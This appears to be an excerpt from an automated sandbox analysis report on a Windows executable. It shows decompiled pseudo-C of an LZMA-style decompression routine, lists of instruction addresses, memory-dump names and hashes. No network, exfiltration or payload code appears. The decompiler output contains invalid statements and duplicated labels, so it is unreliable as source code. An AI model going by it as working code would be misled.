													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L79;
											case 0x1b:
												L75:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t274 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t274;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t283 = __ebp - 0x64;
												 *_t283 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t283;
												 *( *(__ebp - 0x68)) = __cl;
												L79:
												 *(__ebp - 0x14) = __edx;
												goto L80;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L80:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t544 = _t543 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406247
0x00406247
0x0040624b
0x0040626c
0x00406273
0x00406279
0x0040627f
0x00406291
0x00406297
0x0040629c
0x00000000
0x0040624d
0x00406253
0x00406614
0x00406614
0x00406614
0x00406617
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x00000000
0x00000000
0x00406665
0x00406669
0x00406818
0x0040682e
0x00406836
0x0040683d
0x0040683f
0x00406846
0x0040684a
0x0040684a
0x00406675
0x0040667c
0x00406684
0x00406687
0x0040668a
0x0040668a
0x00406690
0x00406690
0x00405e2c
0x00405e2c
0x00405e2c
0x00405e35
0x00000000
0x00000000
0x00405e3b
0x00000000
0x00405e46
0x00000000
0x00000000
0x00405e4f
0x00405e52
0x00405e55
0x00405e59
0x00000000
0x00000000
0x00405e5f
0x00405e62
0x00405e64
0x00405e65
0x00405e68
0x00405e6a
0x00405e6b
0x00405e6d
0x00405e70
0x00405e75
0x00405e7a
0x00405e83
0x00405e96
0x00405e99
0x00405ea5
0x00405ecd
0x00405ecf
0x00405edd
0x00405edd
0x00405ee1
0x00000000
0x00000000
0x00000000
0x00000000
0x00405ed1
0x00405ed1
0x00405ed4
0x00405ed5
0x00405ed5
0x00000000
0x00405ed1
0x00405eab
0x00405eb0
0x00405eb0
0x00405eb9
0x00405ec1
0x00405ec4
0x00000000
0x00405eca
0x00405eca
0x00000000
0x00405eca
0x00000000
0x00405ee7
0x00405ee7
0x00405eeb
0x00406797
0x00000000
0x00406797
0x00405ef4
0x00405f04
0x00405f07
0x00405f0a
0x00405f0a
0x00405f0a
0x00405f0d
0x00405f11
0x00000000
0x00000000
0x00405f13
0x00405f19
0x00405f43
0x00405f49
0x00405f50
0x00000000
0x00405f50
0x00405f1f
0x00405f22
0x00405f27
0x00405f27
0x00405f32
0x00405f3a
0x00405f3d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f82
0x00405f88
0x00405f8b
0x00405f98
0x00405fa0
0x00000000
0x00000000
0x00405f57
0x00405f57
0x00405f5b
0x004067a6
0x00000000
0x004067a6
0x00405f67
0x00405f72
0x00405f72
0x00405f72
0x00405f75
0x00405f78
0x00405f7b
0x00405f80
0x00000000
0x00000000
0x00000000
0x00000000
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405fa8
0x00405faa
0x00405fad
0x0040601e
0x00406021
0x00406024
0x0040602b
0x00406035
0x00406614
0x00406614
0x00000000
0x00406614
0x00405faf
0x00405fb3
0x00405fb6
0x00405fb8
0x00405fbb
0x00405fbe
0x00405fc0
0x00405fc3
0x00405fc5
0x00405fca
0x00405fcd
0x00405fd0
0x00405fd4
0x00405fdb
0x00405fde
0x00405fe5
0x00405fe9
0x00405ff1
0x00405ff1
0x00405ff1
0x00405feb
0x00405feb
0x00405feb
0x00405fe0
0x00405fe0
0x00405fe0
0x00405ff5
0x00405ff8
0x00406016
0x00406018
0x00000000
0x00405ffa
0x00405ffa
0x00405ffd
0x00406000
0x00406003
0x00406005
0x00406005
0x00406005
0x00406008
0x0040600b
0x0040600d
0x0040600e
0x00406011
0x00000000
0x00406011
0x00000000
0x00000000
0x00000000
0x004062b1
0x004062b5
0x004062d8
0x004062db
0x004062de
0x004062e8
0x004062b7
0x004062b7
0x004062ba
0x004062bd
0x004062c0
0x004062cd
0x004062d0
0x004062d0
0x00406614
0x00406614
0x00406614
0x00000000
0x00406614
0x00000000
0x004062f4
0x004062f8
0x00000000
0x00000000
0x004062fe
0x00406302
0x00000000
0x00000000
0x00406308
0x0040630a
0x0040630e
0x0040630e
0x00406311
0x00406315
0x00000000
0x00000000
0x00406365
0x00406369
0x00406370
0x00406373
0x00406376
0x00406380
0x00406614
0x00406614
0x00406614
0x00000000
0x00406614
0x00406614
0x0040636b
0x00000000
0x00000000
0x0040638c
0x00406390
0x00406397
0x0040639a
0x0040639d
0x00406392
0x00406392
0x00406392
0x004063a0
0x004063a3
0x004063a6
0x004063a6
0x004063a9
0x004063ac
0x004063af
0x004063af
0x004063b2
0x004063b9
0x004063be
0x00000000
0x00000000
0x0040644c
0x0040644c
0x00406450
0x004067ee
0x00000000
0x004067ee
0x00406456
0x00406459
0x0040645c
0x00406460
0x00406463
0x00406469
0x0040646b
0x0040646b
0x0040646b
0x0040646e
0x00406471
0x00000000
0x00000000
0x00406041
0x00406041
0x00406045
0x004067b2
0x00000000
0x004067b2
0x0040604b
0x0040604e
0x00406051
0x00406055
0x00406058
0x0040605e
0x00406060
0x00406060
0x00406060
0x00406063
0x00406066
0x00406066
0x00406069
0x0040606c
0x00000000
0x00000000
0x00406072
0x00406078
0x00000000
0x00000000
0x0040607e
0x0040607e
0x00406082
0x00406085
0x00406088
0x0040608b
0x0040608e
0x0040608f
0x00406092
0x00406094
0x0040609a
0x0040609d
0x004060a0
0x004060a3
0x004060a6
0x004060a9
0x004060ac
0x004060c8
0x004060cb
0x004060ce
0x004060d1
0x004060d8
0x004060dc
0x004060de
0x004060e2
0x004060ae
0x004060ae
0x004060b2
0x004060ba
0x004060bf
0x004060c1
0x004060c3
0x004060c3
0x004060e5
0x004060ec
0x004060ef
0x00000000
0x004060f5
0x00000000
0x004060f5
0x00000000
0x004060fa
0x004060fa
0x004060fe
0x004067be
0x00000000
0x004067be
0x00406104
0x00406107
0x0040610a
0x0040610e
0x00406111
0x00406117
0x00406119
0x00406119
0x00406119
0x0040611c
0x0040611f
0x0040611f
0x0040611f
0x00406125
0x00000000
0x00000000
0x00406127
0x0040612a
0x0040612d
0x00406130
0x00406133
0x00406136
0x00406139
0x0040613c
0x0040613f
0x00406142
0x00406145
0x0040615d
0x00406160
0x00406163
0x00406166
0x00406166
0x00406169
0x0040616d
0x0040616f
0x00406147
0x00406147
0x0040614f
0x00406154
0x00406156
0x00406158
0x00406158
0x00406172
0x00406179
0x0040617c
0x00000000
0x0040617e
0x00000000
0x0040617e
0x0040617c
0x00406183
0x00406183
0x00406183
0x00406183
0x00000000
0x00000000
0x004061be
0x004061be
0x004061c2
0x004067ca
0x00000000
0x004067ca
0x004061c8
0x004061cb
0x004061ce
0x004061d2
0x004061d5
0x004061db
0x004061dd
0x004061dd
0x004061dd
0x004061e0
0x004061e3
0x004061e3
0x004061e9
0x00406187
0x00406187
0x0040618a
0x00000000
0x0040618a
0x004061eb
0x004061eb
0x004061ee
0x004061f1
0x004061f4
0x004061f7
0x004061fa
0x004061fd
0x00406200
0x00406203
0x00406206
0x00406209
0x00406221
0x00406224
0x00406227
0x0040622a
0x0040622a
0x0040622d
0x00406231
0x00406233
0x0040620b
0x0040620b
0x00406213
0x00406218
0x0040621a
0x0040621c
0x0040621c
0x00406236
0x0040623d
0x00406240
0x00000000
0x00406242
0x00000000
0x00406242
0x00000000
0x004064cf
0x004064cf
0x004064d3
0x004067fa
0x00000000
0x004067fa
0x004064d9
0x004064dc
0x004064df
0x004064e3
0x004064e6
0x004064ec
0x004064ee
0x004064ee
0x004064ee
0x004064f1
0x00000000
0x00000000
0x0040629f
0x0040629f
0x004062a2
0x00406614
0x00406614
0x00406614
0x00000000
0x00406614
0x00000000
0x004065de
0x004065e2
0x00406604
0x00406607
0x00406611
0x00406614
0x00406614
0x00406614
0x00000000
0x00406614
0x00406614
0x004065e4
0x004065e7
0x004065eb
0x004065ee
0x004065ee
0x004065f1
0x00000000
0x00000000
0x0040669b
0x0040669f
0x004066bd
0x004066bd
0x004066bd
0x004066c4
0x004066cb
0x004066d2
0x004066d2
0x00000000
0x004066d2
0x004066a1
0x004066a4
0x004066a7
0x004066aa
0x004066b1
0x004065f5
0x004065f5
0x004065f8
0x00000000
0x00000000
0x0040678c
0x0040678f
0x00406690
0x00000000
0x00000000
0x004063c6
0x004063c8
0x004063cf
0x004063d0
0x004063d2
0x004063d5
0x00000000
0x00000000
0x004063dd
0x004063e0
0x004063e3
0x004063e5
0x004063e7
0x004063e7
0x004063e8
0x004063eb
0x004063f2
0x004063f5
0x00406403
0x00000000
0x00000000
0x004066d9
0x004066d9
0x004066dc
0x004066e3
0x00000000
0x00000000
0x004066e8
0x004066e8
0x004066ec
0x00406824
0x00000000
0x00406824
0x004066f2
0x004066f5
0x004066f8
0x004066fc
0x004066ff
0x00406705
0x00406707
0x00406707
0x00406707
0x0040670a
0x0040670d
0x0040670d
0x0040670d
0x0040670d
0x00406710
0x00406710
0x00406714
0x00406774
0x00406777
0x0040677c
0x0040677d
0x0040677f
0x00406781
0x00406784
0x00406690
0x00406690
0x00000000
0x00406696
0x00406690
0x00406716
0x0040671c
0x0040671f
0x00406722
0x00406725
0x00406728
0x0040672b
0x0040672e
0x00406731
0x00406734
0x00406737
0x00406750
0x00406753
0x00406756
0x00406759
0x0040675d
0x0040675f
0x0040675f
0x00406760
0x00406763
0x00406739
0x00406739
0x00406741
0x00406746
0x00406748
0x0040674b
0x0040674b
0x00406766
0x0040676d
0x00000000
0x0040676f
0x00000000
0x0040676f
0x00000000
0x0040640b
0x0040640e
0x00406444
0x00406574
0x00406574
0x00406574
0x00406574
0x00406577
0x00406577
0x0040657a
0x0040657c
0x00406806
0x00000000
0x00406806
0x00406582
0x00406585
0x00000000
0x00000000
0x0040658b
0x0040658f
0x00406592
0x00406592
0x00406592
0x00000000
0x00406592
0x00406410
0x00406412
0x00406414
0x00406416
0x00406419
0x0040641a
0x0040641c
0x0040641e
0x00406421
0x00406424
0x0040643a
0x0040643f
0x00406477
0x00406477
0x0040647b
0x004064a7
0x004064a9
0x004064b0
0x004064b3
0x004064b6
0x004064b6
0x004064bb
0x004064bb
0x004064bd
0x004064c0
0x004064c7
0x004064ca
0x004064f7
0x004064f7
0x004064fa
0x004064fd
0x00406571
0x00406571
0x00406571
0x00000000
0x00406571
0x004064ff
0x00406505
0x00406508
0x0040650b
0x0040650e
0x00406511
0x00406514
0x00406517
0x0040651a
0x0040651d
0x00406520
0x00406539
0x0040653b
0x0040653e
0x0040653f
0x00406542
0x00406544
0x00406547
0x00406549
0x0040654b
0x0040654e
0x00406550
0x00406553
0x00406557
0x00406559
0x00406559
0x0040655a
0x0040655d
0x00406560
0x00406522
0x00406522
0x0040652a
0x0040652f
0x00406531
0x00406534
0x00406534
0x00406563
0x0040656a
0x004064f4
0x004064f4
0x004064f4
0x004064f4
0x00000000
0x0040656c
0x00000000
0x0040656c
0x0040656a
0x0040647d
0x00406480
0x00406482
0x00406485
0x00406488
0x0040648b
0x0040648d
0x00406490
0x00406493
0x00406493
0x00406496
0x00406496
0x00406499
0x004064a0
0x00406474
0x00406474
0x00406474
0x00406474
0x00000000
0x004064a2
0x00000000
0x004064a2
0x004064a0
0x00406426
0x00406429
0x0040642b
0x0040642e
0x00000000
0x00000000
0x0040618d
0x0040618d
0x00406191
0x004067d6
0x00000000
0x004067d6
0x00406197
0x0040619a
0x0040619d
0x004061a0
0x004061a3
0x004061a6
0x004061a9
0x004061ab
0x004061ae
0x004061b1
0x004061b4
0x004061b6
0x004061b6
0x004061b6
0x00000000
0x00000000
0x00406318
0x00406318
0x0040631c
0x004067e2
0x00000000
0x004067e2
0x00406322
0x00406325
0x00406328
0x0040632b
0x0040632d
0x0040632d
0x0040632d
0x00406330
0x00406333
0x00406336
0x00406339
0x0040633c
0x0040633f
0x00406340
0x00406342
0x00406342
0x00406342
0x00406345
0x00406348
0x0040634b
0x0040634e
0x0040634e
0x0040634e
0x00406351
0x00406353
0x00406353
0x00000000
0x00000000
0x00406595
0x00406595
0x00406595
0x00406599
0x00000000
0x00000000
0x0040659f
0x004065a2
0x004065a5
0x004065a8
0x004065aa
0x004065aa
0x004065aa
0x004065ad
0x004065b0
0x004065b3
0x004065b6
0x004065b9
0x004065bc
0x004065bd
0x004065bf
0x004065bf
0x004065bf
0x004065c2
0x004065c5
0x004065c8
0x004065cb
0x004065ce
0x004065d2
0x004065d4
0x004065d7
0x00000000
0x004065d9
0x00406356
0x00406356
0x00000000
0x00406356
0x004065d7
0x0040680c
0x00000000
0x00000000
0x00405e3b
0x00406843
0x00406843
0x00000000
0x00406843
0x00406690
0x00406617
0x00406614
0x00000000
0x0040624b

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab0e96aa9de7783a5fbfa8537471c17f47562fab6ccc56c1d015952012775d3a
Instruction ID: 47c5cb8fc101d284839cddc633a7ca9263ac2e2456f843b1234a04abf02d33d1
Opcode Fuzzy Hash: ab0e96aa9de7783a5fbfa8537471c17f47562fab6ccc56c1d015952012775d3a
Instruction Fuzzy Hash: 0C713371D00229CBDF28CFA8C844BADBBF1FB44305F15806AD816BB281D7785A86DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00406365, Relevance: 5.2, APIs: 4, Instructions: 170
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406365() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xb;
						_t606 =  *(_t613 - 4) + 0x1c8 +  *(_t613 - 0x38) * 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x28);
						L88:
						 *(__ebp - 0x2c) = __eax;
						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
						L89:
						__eax =  *(__ebp - 4);
						 *(__ebp - 0x80) = 0x15;
						__eax =  *(__ebp - 4) + 0xa68;
						 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
						L69:
						 *(__ebp - 0x84) = 0x12;
						while(1) {
							L132:
							 *(_t613 - 0x54) = _t606;
							while(1) {
								L133:
								_t531 =  *_t606;
								_t589 = _t531 & 0x0000ffff;
								_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
								if( *(_t613 - 0xc) >= _t565) {
									 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
									 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
									 *(_t613 - 0x40) = 1;
									_t532 = _t531 - (_t531 >> 5);
									 *_t606 = _t532;
								} else {
									 *(_t613 - 0x10) = _t565;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									 *_t606 = (0x800 - _t589 >> 5) + _t531;
								}
								if( *(_t613 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t613 - 0x6c) == 0) {
									 *(_t613 - 0x88) = 5;
									L170:
									_t568 = 0x22;
									memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
								 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
								 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
								 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
								L139:
								_t533 =  *(_t613 - 0x84);
								while(1) {
									 *(_t613 - 0x88) = _t533;
									while(1) {
										L1:
										_t534 =  *(_t613 - 0x88);
										if(_t534 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t534 * 4 +  &M0040684B))) {
											case 0:
												if( *(_t613 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t534 =  *( *(_t613 - 0x70));
												if(_t534 > 0xe1) {
													goto L171;
												}
												_t538 = _t534 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t570);
												_push(9);
												_pop(_t571);
												_t609 = _t538 / _t570;
												_t540 = _t538 % _t570 & 0x000000ff;
												asm("cdq");
												_t604 = _t540 % _t571 & 0x000000ff;
												 *(_t613 - 0x3c) = _t604;
												 *(_t613 - 0x1c) = (1 << _t609) - 1;
												 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
												_t612 = (0x300 << _t604 + _t609) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
													L10:
													if(_t612 == 0) {
														L12:
														 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
														 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t612 = _t612 - 1;
														 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
													} while (_t612 != 0);
													goto L12;
												}
												if( *(_t613 - 4) != 0) {
													GlobalFree( *(_t613 - 4));
												}
												_t534 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t613 - 4) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 1;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t45 = _t613 - 0x48;
												 *_t45 =  *(_t613 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t613 - 0x48) < 4) {
													goto L13;
												}
												_t546 =  *(_t613 - 0x40);
												if(_t546 ==  *(_t613 - 0x74)) {
													L20:
													 *(_t613 - 0x48) = 5;
													 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t613 - 0x74) = _t546;
												if( *(_t613 - 8) != 0) {
													GlobalFree( *(_t613 - 8)); // executed
												}
												_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
												 *(_t613 - 8) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
												 *(_t613 - 0x84) = 6;
												 *(_t613 - 0x4c) = _t553;
												_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
												L132:
												 *(_t613 - 0x54) = _t606;
												goto L133;
											case 3:
												L21:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 3;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												_t67 = _t613 - 0x70;
												 *_t67 =  &(( *(_t613 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
												L23:
												 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
												if( *(_t613 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t531 =  *_t606;
												_t589 = _t531 & 0x0000ffff;
												_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
												if( *(_t613 - 0xc) >= _t565) {
													 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
													 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
													 *(_t613 - 0x40) = 1;
													_t532 = _t531 - (_t531 >> 5);
													 *_t606 = _t532;
												} else {
													 *(_t613 - 0x10) = _t565;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													 *_t606 = (0x800 - _t589 >> 5) + _t531;
												}
												if( *(_t613 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
